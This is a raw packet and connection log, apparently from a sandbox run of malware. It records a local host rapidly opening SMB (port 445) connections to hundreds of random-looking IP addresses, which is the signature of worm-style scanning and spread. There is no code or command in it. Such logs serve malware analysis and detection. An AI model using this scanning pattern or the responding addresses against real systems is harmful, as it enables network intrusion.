Jul 20, 2022 13:26:36.186621904 CEST	445	56232	86.71.147.2	192.168.2.7
Jul 20, 2022 13:26:36.186772108 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.186964035 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.188883066 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.219732046 CEST	445	56233	86.71.147.2	192.168.2.7
Jul 20, 2022 13:26:36.219996929 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.220310926 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.472507000 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.487896919 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.550847054 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:36.567500114 CEST	56243	445	192.168.2.7	5.240.140.90
Jul 20, 2022 13:26:36.771512985 CEST	56252	445	192.168.2.7	94.27.140.37
Jul 20, 2022 13:26:36.784898043 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:36.847313881 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:36.849493980 CEST	56254	445	192.168.2.7	175.175.17.71
Jul 20, 2022 13:26:36.850351095 CEST	56255	445	192.168.2.7	183.206.236.211
Jul 20, 2022 13:26:36.883604050 CEST	56256	445	192.168.2.7	89.3.153.161
Jul 20, 2022 13:26:37.026978016 CEST	56265	445	192.168.2.7	60.32.139.23
Jul 20, 2022 13:26:37.035726070 CEST	56266	445	192.168.2.7	70.185.71.121
Jul 20, 2022 13:26:37.097397089 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:37.115226030 CEST	56269	445	192.168.2.7	108.45.102.223
Jul 20, 2022 13:26:37.116641998 CEST	56270	445	192.168.2.7	12.170.111.226
Jul 20, 2022 13:26:37.118258953 CEST	56271	445	192.168.2.7	161.120.101.237
Jul 20, 2022 13:26:37.121834993 CEST	56275	445	192.168.2.7	190.19.152.18
Jul 20, 2022 13:26:37.122781992 CEST	56276	445	192.168.2.7	162.182.16.184
Jul 20, 2022 13:26:37.124543905 CEST	56278	445	192.168.2.7	215.174.43.28
Jul 20, 2022 13:26:37.126662016 CEST	56280	445	192.168.2.7	10.205.39.185
Jul 20, 2022 13:26:37.127732038 CEST	56281	445	192.168.2.7	168.3.208.245
Jul 20, 2022 13:26:37.129417896 CEST	56282	445	192.168.2.7	55.67.56.168
Jul 20, 2022 13:26:37.195641041 CEST	56284	445	192.168.2.7	123.126.217.35
Jul 20, 2022 13:26:37.195951939 CEST	56288	445	192.168.2.7	66.181.50.87
Jul 20, 2022 13:26:37.196130991 CEST	56291	445	192.168.2.7	148.217.8.182
Jul 20, 2022 13:26:37.196521997 CEST	56285	445	192.168.2.7	122.75.217.62
Jul 20, 2022 13:26:37.257082939 CEST	56293	445	192.168.2.7	188.133.84.251
Jul 20, 2022 13:26:37.258671045 CEST	56294	445	192.168.2.7	142.65.194.72
Jul 20, 2022 13:26:37.262928009 CEST	56297	445	192.168.2.7	78.29.52.21
Jul 20, 2022 13:26:37.266031981 CEST	56299	445	192.168.2.7	178.83.147.64
Jul 20, 2022 13:26:37.268616915 CEST	56301	445	192.168.2.7	58.185.39.172
Jul 20, 2022 13:26:37.269731998 CEST	56302	445	192.168.2.7	133.24.113.40
Jul 20, 2022 13:26:37.272722006 CEST	56307	445	192.168.2.7	167.235.233.57
Jul 20, 2022 13:26:37.276067972 CEST	56314	445	192.168.2.7	125.190.145.117
Jul 20, 2022 13:26:37.394264936 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:37.646008015 CEST	56324	445	192.168.2.7	5.240.140.91
Jul 20, 2022 13:26:37.834680080 CEST	56331	445	192.168.2.7	94.27.140.38
Jul 20, 2022 13:26:37.958111048 CEST	56335	445	192.168.2.7	100.92.226.21
Jul 20, 2022 13:26:37.958167076 CEST	56336	445	192.168.2.7	142.210.9.177
Jul 20, 2022 13:26:38.004745960 CEST	56337	445	192.168.2.7	63.125.42.186
Jul 20, 2022 13:26:38.050539017 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:38.151640892 CEST	56346	445	192.168.2.7	160.115.78.140
Jul 20, 2022 13:26:38.162091970 CEST	56348	445	192.168.2.7	74.161.115.122
Jul 20, 2022 13:26:38.239036083 CEST	56349	445	192.168.2.7	11.180.231.83
Jul 20, 2022 13:26:38.239574909 CEST	56350	445	192.168.2.7	130.19.179.174
Jul 20, 2022 13:26:38.241278887 CEST	56352	445	192.168.2.7	210.182.36.97
Jul 20, 2022 13:26:38.241530895 CEST	56354	445	192.168.2.7	223.122.190.48
Jul 20, 2022 13:26:38.242053032 CEST	56355	445	192.168.2.7	129.51.196.95
Jul 20, 2022 13:26:38.244230986 CEST	56359	445	192.168.2.7	97.138.137.31
Jul 20, 2022 13:26:38.244720936 CEST	56360	445	192.168.2.7	172.165.226.50
Jul 20, 2022 13:26:38.246500969 CEST	56361	445	192.168.2.7	59.56.198.191
Jul 20, 2022 13:26:38.255350113 CEST	56363	445	192.168.2.7	209.74.171.149
Jul 20, 2022 13:26:38.300622940 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:38.319623947 CEST	56367	445	192.168.2.7	42.44.10.161
Jul 20, 2022 13:26:38.319804907 CEST	56372	445	192.168.2.7	101.39.204.88
Jul 20, 2022 13:26:38.319807053 CEST	56365	445	192.168.2.7	35.55.180.186
Jul 20, 2022 13:26:38.320497036 CEST	56370	445	192.168.2.7	206.107.73.155
Jul 20, 2022 13:26:38.382445097 CEST	56375	445	192.168.2.7	136.205.103.23
Jul 20, 2022 13:26:38.382500887 CEST	56376	445	192.168.2.7	57.219.45.32
Jul 20, 2022 13:26:38.382514000 CEST	56374	445	192.168.2.7	48.156.207.78
Jul 20, 2022 13:26:38.382669926 CEST	56379	445	192.168.2.7	145.33.159.180
Jul 20, 2022 13:26:38.382858992 CEST	56381	445	192.168.2.7	116.58.148.2
Jul 20, 2022 13:26:38.402668953 CEST	56383	445	192.168.2.7	115.39.228.0
Jul 20, 2022 13:26:38.403428078 CEST	56391	445	192.168.2.7	20.166.188.92
Jul 20, 2022 13:26:38.403541088 CEST	56394	445	192.168.2.7	75.27.24.11
Jul 20, 2022 13:26:38.597465038 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:38.723167896 CEST	56405	445	192.168.2.7	5.240.140.92
Jul 20, 2022 13:26:38.755306959 CEST	56407	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:38.805078983 CEST	445	56407	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:38.805262089 CEST	56407	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:38.806046009 CEST	56407	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:38.855215073 CEST	445	56407	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:38.855513096 CEST	56407	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:38.905239105 CEST	445	56407	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:38.911873102 CEST	56407	445	192.168.2.7	185.15.42.107
Jul 20, 2022 13:26:38.912704945 CEST	56412	445	192.168.2.7	94.27.140.39
Jul 20, 2022 13:26:38.956864119 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:38.960553885 CEST	445	56407	185.15.42.107	192.168.2.7
Jul 20, 2022 13:26:39.042834044 CEST	56417	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.084278107 CEST	56420	445	192.168.2.7	202.241.209.236
Jul 20, 2022 13:26:39.084325075 CEST	56418	445	192.168.2.7	46.225.248.228
Jul 20, 2022 13:26:39.092065096 CEST	445	56417	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:39.092247963 CEST	56417	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.092375040 CEST	56417	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.101032972 CEST	56421	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.143244028 CEST	445	56417	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:39.143290043 CEST	445	56417	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:39.152674913 CEST	445	56421	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:39.152793884 CEST	56421	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.153166056 CEST	56421	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.154335976 CEST	56423	445	192.168.2.7	111.85.248.29
Jul 20, 2022 13:26:39.202564001 CEST	445	56421	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:39.202781916 CEST	56421	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.252793074 CEST	445	56421	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:39.253128052 CEST	56421	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:39.253900051 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:39.279508114 CEST	56431	445	192.168.2.7	17.97.28.219
Jul 20, 2022 13:26:39.290802002 CEST	56432	445	192.168.2.7	82.129.181.144
Jul 20, 2022 13:26:39.304155111 CEST	445	56421	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:39.374736071 CEST	56434	445	192.168.2.7	3.104.79.153
Jul 20, 2022 13:26:39.374756098 CEST	56435	445	192.168.2.7	44.130.239.214
Jul 20, 2022 13:26:39.375032902 CEST	56436	445	192.168.2.7	30.71.15.149
Jul 20, 2022 13:26:39.375171900 CEST	56437	445	192.168.2.7	137.252.129.81
Jul 20, 2022 13:26:39.375214100 CEST	56439	445	192.168.2.7	105.186.49.105
Jul 20, 2022 13:26:39.375297070 CEST	56441	445	192.168.2.7	17.97.114.151
Jul 20, 2022 13:26:39.375372887 CEST	56445	445	192.168.2.7	27.40.36.244
Jul 20, 2022 13:26:39.380184889 CEST	56447	445	192.168.2.7	151.247.98.1
Jul 20, 2022 13:26:39.380187035 CEST	56448	445	192.168.2.7	187.183.200.19
Jul 20, 2022 13:26:39.442462921 CEST	56449	445	192.168.2.7	13.158.115.0
Jul 20, 2022 13:26:39.444394112 CEST	56450	445	192.168.2.7	122.223.119.229
Jul 20, 2022 13:26:39.446440935 CEST	56454	445	192.168.2.7	18.120.211.200
Jul 20, 2022 13:26:39.447119951 CEST	56455	445	192.168.2.7	93.194.65.228
Jul 20, 2022 13:26:39.505335093 CEST	56458	445	192.168.2.7	71.10.46.251
Jul 20, 2022 13:26:39.507276058 CEST	56460	445	192.168.2.7	208.102.46.167
Jul 20, 2022 13:26:39.514707088 CEST	56470	445	192.168.2.7	143.165.13.78
Jul 20, 2022 13:26:39.514934063 CEST	56473	445	192.168.2.7	192.122.250.245
Jul 20, 2022 13:26:39.514938116 CEST	56472	445	192.168.2.7	219.142.130.173
Jul 20, 2022 13:26:39.515063047 CEST	56474	445	192.168.2.7	18.215.172.254
Jul 20, 2022 13:26:39.515121937 CEST	56477	445	192.168.2.7	162.234.73.232
Jul 20, 2022 13:26:39.515515089 CEST	56479	445	192.168.2.7	95.216.209.228
Jul 20, 2022 13:26:39.556879044 CEST	445	56479	95.216.209.228	192.168.2.7
Jul 20, 2022 13:26:39.800681114 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:39.801384926 CEST	56488	445	192.168.2.7	5.240.140.93
Jul 20, 2022 13:26:39.989094019 CEST	56492	445	192.168.2.7	94.27.140.40
Jul 20, 2022 13:26:40.066411018 CEST	56479	445	192.168.2.7	95.216.209.228
Jul 20, 2022 13:26:40.107707024 CEST	445	56479	95.216.209.228	192.168.2.7
Jul 20, 2022 13:26:40.208851099 CEST	56501	445	192.168.2.7	184.4.27.110
Jul 20, 2022 13:26:40.210634947 CEST	56503	445	192.168.2.7	79.25.26.104
Jul 20, 2022 13:26:40.353262901 CEST	56505	445	192.168.2.7	45.23.107.195
Jul 20, 2022 13:26:40.632652044 CEST	56507	445	192.168.2.7	115.33.161.133
Jul 20, 2022 13:26:40.636782885 CEST	56515	445	192.168.2.7	30.180.104.22
Jul 20, 2022 13:26:40.636873960 CEST	56516	445	192.168.2.7	222.202.181.250
Jul 20, 2022 13:26:40.645376921 CEST	56517	445	192.168.2.7	136.172.123.28
Jul 20, 2022 13:26:40.645525932 CEST	56518	445	192.168.2.7	175.24.43.19
Jul 20, 2022 13:26:40.645690918 CEST	56520	445	192.168.2.7	180.7.69.89
Jul 20, 2022 13:26:40.645869017 CEST	56525	445	192.168.2.7	189.232.216.122
Jul 20, 2022 13:26:40.645984888 CEST	56527	445	192.168.2.7	20.12.172.191
Jul 20, 2022 13:26:40.646761894 CEST	56521	445	192.168.2.7	159.178.187.126
Jul 20, 2022 13:26:40.681435108 CEST	56529	445	192.168.2.7	190.89.29.10
Jul 20, 2022 13:26:40.706988096 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:40.739228010 CEST	56532	445	192.168.2.7	25.10.155.82
Jul 20, 2022 13:26:40.740897894 CEST	56535	445	192.168.2.7	121.80.34.2
Jul 20, 2022 13:26:40.742408991 CEST	56538	445	192.168.2.7	42.180.10.225
Jul 20, 2022 13:26:40.742943048 CEST	56539	445	192.168.2.7	14.200.109.126
Jul 20, 2022 13:26:40.744808912 CEST	56543	445	192.168.2.7	186.35.191.245
Jul 20, 2022 13:26:40.745342970 CEST	56544	445	192.168.2.7	61.23.0.110
Jul 20, 2022 13:26:40.746282101 CEST	56546	445	192.168.2.7	176.174.228.165
Jul 20, 2022 13:26:40.747309923 CEST	56547	445	192.168.2.7	208.92.186.242
Jul 20, 2022 13:26:40.748394012 CEST	56550	445	192.168.2.7	63.52.61.221
Jul 20, 2022 13:26:40.753572941 CEST	56561	445	192.168.2.7	132.198.126.114
Jul 20, 2022 13:26:40.754230022 CEST	56562	445	192.168.2.7	16.38.79.11
Jul 20, 2022 13:26:40.754770041 CEST	56563	445	192.168.2.7	102.247.106.178
Jul 20, 2022 13:26:40.755341053 CEST	56564	445	192.168.2.7	33.55.214.110
Jul 20, 2022 13:26:40.897890091 CEST	445	56561	132.198.126.114	192.168.2.7
Jul 20, 2022 13:26:40.957416058 CEST	56570	445	192.168.2.7	5.240.140.94
Jul 20, 2022 13:26:41.003926992 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:41.067156076 CEST	56575	445	192.168.2.7	94.27.140.41
Jul 20, 2022 13:26:41.410200119 CEST	56561	445	192.168.2.7	132.198.126.114
Jul 20, 2022 13:26:41.554543972 CEST	445	56561	132.198.126.114	192.168.2.7
Jul 20, 2022 13:26:41.660269022 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:41.845024109 CEST	56584	445	192.168.2.7	48.235.195.240
Jul 20, 2022 13:26:41.846918106 CEST	56586	445	192.168.2.7	184.116.209.52
Jul 20, 2022 13:26:41.909584045 CEST	56587	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:41.947231054 CEST	56588	445	192.168.2.7	10.151.130.59
Jul 20, 2022 13:26:41.947813034 CEST	56589	445	192.168.2.7	9.151.111.161
Jul 20, 2022 13:26:41.948331118 CEST	56590	445	192.168.2.7	72.4.112.100
Jul 20, 2022 13:26:41.948852062 CEST	56591	445	192.168.2.7	123.27.198.96
Jul 20, 2022 13:26:41.950028896 CEST	56593	445	192.168.2.7	1.179.142.112
Jul 20, 2022 13:26:41.951708078 CEST	56597	445	192.168.2.7	175.110.179.172
Jul 20, 2022 13:26:41.952974081 CEST	56599	445	192.168.2.7	62.122.65.43
Jul 20, 2022 13:26:41.953532934 CEST	56600	445	192.168.2.7	8.248.78.69
Jul 20, 2022 13:26:41.954919100 CEST	56603	445	192.168.2.7	132.8.190.251
Jul 20, 2022 13:26:41.957931042 CEST	56604	445	192.168.2.7	160.167.98.160
Jul 20, 2022 13:26:41.960675001 CEST	56610	445	192.168.2.7	191.34.122.107
Jul 20, 2022 13:26:41.961522102 CEST	56611	445	192.168.2.7	108.123.177.100
Jul 20, 2022 13:26:41.962043047 CEST	56612	445	192.168.2.7	173.8.6.134
Jul 20, 2022 13:26:41.963093996 CEST	56614	445	192.168.2.7	64.159.160.73
Jul 20, 2022 13:26:41.965007067 CEST	56618	445	192.168.2.7	45.9.134.126
Jul 20, 2022 13:26:41.966002941 CEST	56620	445	192.168.2.7	92.228.243.214
Jul 20, 2022 13:26:41.966504097 CEST	56621	445	192.168.2.7	133.11.221.227
Jul 20, 2022 13:26:41.968471050 CEST	56625	445	192.168.2.7	164.163.67.116
Jul 20, 2022 13:26:42.040910959 CEST	445	56597	175.110.179.172	192.168.2.7
Jul 20, 2022 13:26:42.128631115 CEST	56626	445	192.168.2.7	143.29.191.113
Jul 20, 2022 13:26:42.128798008 CEST	56628	445	192.168.2.7	109.37.23.203
Jul 20, 2022 13:26:42.129048109 CEST	56630	445	192.168.2.7	63.211.9.40
Jul 20, 2022 13:26:42.129364014 CEST	56641	445	192.168.2.7	204.47.137.84
Jul 20, 2022 13:26:42.129487038 CEST	56643	445	192.168.2.7	54.125.76.135
Jul 20, 2022 13:26:42.129582882 CEST	56645	445	192.168.2.7	50.179.127.172
Jul 20, 2022 13:26:42.131779909 CEST	56653	445	192.168.2.7	5.240.140.95
Jul 20, 2022 13:26:42.226428032 CEST	56659	445	192.168.2.7	94.27.140.42
Jul 20, 2022 13:26:42.440535069 CEST	56660	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:42.489535093 CEST	445	56660	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:42.489691973 CEST	56660	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:42.566551924 CEST	56597	445	192.168.2.7	175.110.179.172
Jul 20, 2022 13:26:42.657246113 CEST	445	56597	175.110.179.172	192.168.2.7
Jul 20, 2022 13:26:43.176009893 CEST	56597	445	192.168.2.7	175.110.179.172
Jul 20, 2022 13:26:43.264765978 CEST	445	56597	175.110.179.172	192.168.2.7
Jul 20, 2022 13:26:43.520128965 CEST	56233	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:43.832293034 CEST	56075	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:43.929361105 CEST	56660	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:43.975673914 CEST	445	56660	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:43.978106976 CEST	56660	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:44.024924040 CEST	445	56660	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:44.042284966 CEST	56660	445	192.168.2.7	185.15.42.108
Jul 20, 2022 13:26:44.043154001 CEST	56670	445	192.168.2.7	94.27.140.43
Jul 20, 2022 13:26:44.043510914 CEST	56671	445	192.168.2.7	159.200.124.146
Jul 20, 2022 13:26:44.050255060 CEST	56673	445	192.168.2.7	5.240.140.96
Jul 20, 2022 13:26:44.052031994 CEST	56674	445	192.168.2.7	21.46.222.26
Jul 20, 2022 13:26:44.053986073 CEST	56678	445	192.168.2.7	39.184.25.114
Jul 20, 2022 13:26:44.054924011 CEST	56680	445	192.168.2.7	18.130.130.5
Jul 20, 2022 13:26:44.055443048 CEST	56681	445	192.168.2.7	63.175.176.64
Jul 20, 2022 13:26:44.056790113 CEST	56684	445	192.168.2.7	180.18.89.11
Jul 20, 2022 13:26:44.057771921 CEST	56686	445	192.168.2.7	118.95.254.110
Jul 20, 2022 13:26:44.058259964 CEST	56687	445	192.168.2.7	29.129.194.139
Jul 20, 2022 13:26:44.059668064 CEST	56690	445	192.168.2.7	118.46.153.34
Jul 20, 2022 13:26:44.060667038 CEST	56692	445	192.168.2.7	144.236.253.148
Jul 20, 2022 13:26:44.061594009 CEST	56694	445	192.168.2.7	156.78.181.8
Jul 20, 2022 13:26:44.066521883 CEST	56705	445	192.168.2.7	202.4.97.13
Jul 20, 2022 13:26:44.067681074 CEST	56707	445	192.168.2.7	105.1.136.195
Jul 20, 2022 13:26:44.068708897 CEST	56709	445	192.168.2.7	56.46.223.245
Jul 20, 2022 13:26:44.069224119 CEST	56710	445	192.168.2.7	156.0.156.180
Jul 20, 2022 13:26:44.071938038 CEST	56716	445	192.168.2.7	89.11.171.48
Jul 20, 2022 13:26:44.072438955 CEST	56717	445	192.168.2.7	106.133.78.62
Jul 20, 2022 13:26:44.072942972 CEST	56718	445	192.168.2.7	157.123.244.185
Jul 20, 2022 13:26:44.073908091 CEST	56720	445	192.168.2.7	87.143.177.156
Jul 20, 2022 13:26:44.075767994 CEST	56724	445	192.168.2.7	171.225.250.53
Jul 20, 2022 13:26:44.088097095 CEST	445	56660	185.15.42.108	192.168.2.7
Jul 20, 2022 13:26:44.312220097 CEST	56726	445	192.168.2.7	190.176.122.209
Jul 20, 2022 13:26:44.312311888 CEST	56729	445	192.168.2.7	12.33.209.10
Jul 20, 2022 13:26:44.312479019 CEST	56731	445	192.168.2.7	113.226.120.184
Jul 20, 2022 13:26:44.312596083 CEST	56733	445	192.168.2.7	55.254.91.30
Jul 20, 2022 13:26:44.312685013 CEST	56734	445	192.168.2.7	95.216.129.80
Jul 20, 2022 13:26:44.312685013 CEST	56732	445	192.168.2.7	190.128.124.200
Jul 20, 2022 13:26:44.314703941 CEST	56746	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.362201929 CEST	445	56746	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:44.362416029 CEST	56746	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.362545013 CEST	56746	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.368987083 CEST	56747	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.407941103 CEST	445	56746	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:44.407980919 CEST	445	56746	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:44.414309978 CEST	445	56747	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:44.414499044 CEST	56747	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.414643049 CEST	56747	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.460216999 CEST	445	56747	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:44.460422039 CEST	56747	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.506429911 CEST	445	56747	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:44.506623983 CEST	56747	445	192.168.2.7	185.15.42.109
Jul 20, 2022 13:26:44.552028894 CEST	445	56747	185.15.42.109	192.168.2.7
Jul 20, 2022 13:26:45.019969940 CEST	56587	445	192.168.2.7	38.55.46.3
Jul 20, 2022 13:26:45.114636898 CEST	56756	445	192.168.2.7	94.27.140.44
Jul 20, 2022 13:26:45.115134954 CEST	56757	445	192.168.2.7	5.240.140.97
Jul 20, 2022 13:26:45.161833048 CEST	56758	445	192.168.2.7	107.70.221.192
Jul 20, 2022 13:26:45.177249908 CEST	56760	445	192.168.2.7	91.241.135.37
Jul 20, 2022 13:26:45.180285931 CEST	56764	445	192.168.2.7	88.33.27.171
Jul 20, 2022 13:26:45.181811094 CEST	56766	445	192.168.2.7	78.130.195.247
Jul 20, 2022 13:26:45.183259010 CEST	56767	445	192.168.2.7	54.69.41.177
Jul 20, 2022 13:26:45.196747065 CEST	56770	445	192.168.2.7	198.168.185.241
Jul 20, 2022 13:26:45.196779966 CEST	56772	445	192.168.2.7	100.70.164.45
Jul 20, 2022 13:26:45.196922064 CEST	56774	445	192.168.2.7	199.6.243.235
Jul 20, 2022 13:26:45.196932077 CEST	56776	445	192.168.2.7	133.249.18.222
Jul 20, 2022 13:26:45.197010040 CEST	56778	445	192.168.2.7	170.10.201.208
Jul 20, 2022 13:26:45.197113991 CEST	56781	445	192.168.2.7	217.8.156.66
Jul 20, 2022 13:26:45.203583956 CEST	56792	445	192.168.2.7	168.114.103.38
Jul 20, 2022 13:26:45.203751087 CEST	56791	445	192.168.2.7	6.186.137.219
Jul 20, 2022 13:26:45.203761101 CEST	56798	445	192.168.2.7	129.145.90.190
Jul 20, 2022 13:26:45.203794956 CEST	56797	445	192.168.2.7	53.43.45.173
Jul 20, 2022 13:26:45.204025030 CEST	56801	445	192.168.2.7	14.235.152.83
Jul 20, 2022 13:26:45.204067945 CEST	56800	445	192.168.2.7	43.144.164.58
Jul 20, 2022 13:26:45.204076052 CEST	56804	445	192.168.2.7	74.131.17.62
Jul 20, 2022 13:26:45.204201937 CEST	56810	445	192.168.2.7	88.108.207.122
Jul 20, 2022 13:26:45.204216003 CEST	56809	445	192.168.2.7	218.126.198.238
Jul 20, 2022 13:26:45.411703110 CEST	56812	445	192.168.2.7	55.228.171.12
Jul 20, 2022 13:26:45.413316011 CEST	56815	445	192.168.2.7	70.201.183.39
Jul 20, 2022 13:26:45.415155888 CEST	56816	445	192.168.2.7	135.202.38.144
Jul 20, 2022 13:26:45.416392088 CEST	56818	445	192.168.2.7	153.21.245.215
Jul 20, 2022 13:26:45.417002916 CEST	56819	445	192.168.2.7	204.29.5.240
Jul 20, 2022 13:26:45.418030024 CEST	56821	445	192.168.2.7	97.74.116.215
Jul 20, 2022 13:26:45.676217079 CEST	56232	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:26:46.195763111 CEST	56840	445	192.168.2.7	5.240.140.98
Jul 20, 2022 13:26:46.197104931 CEST	56841	445	192.168.2.7	94.27.140.45
Jul 20, 2022 13:26:46.288243055 CEST	56844	445	192.168.2.7	192.200.79.172
Jul 20, 2022 13:26:46.302171946 CEST	56845	445	192.168.2.7	65.64.228.20
Jul 20, 2022 13:26:46.304353952 CEST	56849	445	192.168.2.7	2.247.184.22
Jul 20, 2022 13:26:46.305603027 CEST	56851	445	192.168.2.7	73.127.73.11
Jul 20, 2022 13:26:46.306149006 CEST	56852	445	192.168.2.7	90.212.197.199
Jul 20, 2022 13:26:46.318773031 CEST	56854	445	192.168.2.7	194.152.227.92
Jul 20, 2022 13:26:46.321747065 CEST	56859	445	192.168.2.7	211.217.192.166
Jul 20, 2022 13:26:46.322441101 CEST	56860	445	192.168.2.7	145.22.120.47
Jul 20, 2022 13:26:46.323054075 CEST	56861	445	192.168.2.7	171.199.174.199
Jul 20, 2022 13:26:46.324604034 CEST	56864	445	192.168.2.7	41.92.118.125
Jul 20, 2022 13:26:46.325978994 CEST	56867	445	192.168.2.7	47.6.145.87
Jul 20, 2022 13:26:46.326970100 CEST	56869	445	192.168.2.7	63.83.132.121
Jul 20, 2022 13:26:46.342684984 CEST	56879	445	192.168.2.7	63.140.169.42
Jul 20, 2022 13:26:46.349747896 CEST	56883	445	192.168.2.7	115.18.240.14
Jul 20, 2022 13:26:46.349927902 CEST	56884	445	192.168.2.7	33.99.21.197
Jul 20, 2022 13:26:46.349983931 CEST	56888	445	192.168.2.7	25.32.236.181
Jul 20, 2022 13:26:46.350039005 CEST	56887	445	192.168.2.7	165.137.231.151
Jul 20, 2022 13:26:46.350183964 CEST	56891	445	192.168.2.7	56.151.34.138
Jul 20, 2022 13:26:46.350285053 CEST	56894	445	192.168.2.7	74.39.46.60
Jul 20, 2022 13:26:46.350322008 CEST	56893	445	192.168.2.7	187.139.14.101
Jul 20, 2022 13:26:46.537007093 CEST	56897	445	192.168.2.7	50.107.74.11
Jul 20, 2022 13:26:46.538633108 CEST	56900	445	192.168.2.7	75.220.189.96
Jul 20, 2022 13:26:46.539202929 CEST	56901	445	192.168.2.7	51.229.146.97
Jul 20, 2022 13:26:46.540256023 CEST	56903	445	192.168.2.7	25.208.225.248
Jul 20, 2022 13:26:46.541379929 CEST	56904	445	192.168.2.7	129.98.60.191
Jul 20, 2022 13:26:46.541811943 CEST	56906	445	192.168.2.7	36.55.176.165
Jul 20, 2022 13:26:46.566907883 CEST	56082	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:26:47.271636009 CEST	56918	445	192.168.2.7	94.27.140.46
Jul 20, 2022 13:26:47.271686077 CEST	56919	445	192.168.2.7	5.240.140.99
Jul 20, 2022 13:26:47.411853075 CEST	56928	445	192.168.2.7	41.74.79.196
Jul 20, 2022 13:26:47.427639008 CEST	56930	445	192.168.2.7	200.21.145.79
Jul 20, 2022 13:26:47.431575060 CEST	56935	445	192.168.2.7	207.46.22.168
Jul 20, 2022 13:26:47.432287931 CEST	56936	445	192.168.2.7	186.246.60.248
Jul 20, 2022 13:26:47.433165073 CEST	56937	445	192.168.2.7	15.155.114.90
Jul 20, 2022 13:26:47.450232983 CEST	56939	445	192.168.2.7	171.25.155.90
Jul 20, 2022 13:26:47.465574980 CEST	56944	445	192.168.2.7	23.23.41.230
Jul 20, 2022 13:26:47.465802908 CEST	56953	445	192.168.2.7	144.36.9.129
Jul 20, 2022 13:26:47.465893030 CEST	56955	445	192.168.2.7	160.147.187.22
Jul 20, 2022 13:26:47.465965033 CEST	56958	445	192.168.2.7	93.61.5.70
Jul 20, 2022 13:26:47.466089010 CEST	56961	445	192.168.2.7	61.53.174.48
Jul 20, 2022 13:26:47.466185093 CEST	56962	445	192.168.2.7	89.167.159.87
Jul 20, 2022 13:26:47.466201067 CEST	56963	445	192.168.2.7	158.25.65.20
Jul 20, 2022 13:26:47.474307060 CEST	56967	445	192.168.2.7	4.11.157.150
Jul 20, 2022 13:26:47.475728035 CEST	56970	445	192.168.2.7	74.198.95.47
Jul 20, 2022 13:26:47.476237059 CEST	56971	445	192.168.2.7	118.107.137.50
Jul 20, 2022 13:26:47.479373932 CEST	56975	445	192.168.2.7	90.157.143.138
